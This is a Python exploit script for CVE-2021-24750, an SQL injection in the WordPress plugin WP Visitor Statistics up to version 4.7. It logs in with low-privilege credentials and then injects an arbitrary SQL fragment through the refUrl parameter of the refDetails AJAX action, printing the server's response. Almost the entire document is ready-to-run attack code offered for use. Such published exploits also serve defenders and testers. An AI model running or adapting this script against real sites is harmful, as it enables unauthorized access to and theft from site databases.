WordPress WP Visitor Statistics 4.7 Plugin - SQL Injection Exploit

# Exploit Title: WordPress Plugin WP Visitor Statistics 4.7 - SQL Injection
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.plugins-market.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-stats-manager.4.7.zip
# Version: <= 4.7
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24750
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24750/README.md

'''
Description:
The plugin does not properly sanitise and escape the refUrl in the refDetails AJAX action,
available to any authenticated user, which could allow users with a role as low as
subscriber to perform SQL injection attacks
'''

# Banner:
banner = '''
 ___  _  _  ____     ___   ___  ___   __     ___   __  ___  ___   ___  
 / __)( \/ )( ___)___(__ \ / _ \(__ \ /  )___(__ \ /. |(__ )| __) / _ \ 
( (__  \  /  )__)(___)/ _/( (_) )/ _/  )((___)/ _/(_  _)/ / |__ \( (_) )
 \___)  \/  (____)   (____)\___/(____)(__)   (____) (_)(_/  (___/ \___/ 

                            [+] WP Visitor Statistics SQL Injection
                            [@] Developed by Ron Jost (Hacker5preme)

'''
print(banner)

import argparse
import requests
from datetime import datetime

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin WP Visitor Statistics - SQL Injection')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
my_parser.add_argument('-C', '--COMMAND', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
command = args.COMMAND

print('')
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('')

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# Exploit:
exploit_url = 'http://' + target_ip + ':' + target_port + '/wordpress/wp-admin/admin-ajax.php?action=refDetails&requests={"refUrl":"' + "' " + command + '"}'
exploit = session.get(exploit_url)
print(exploit.text)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))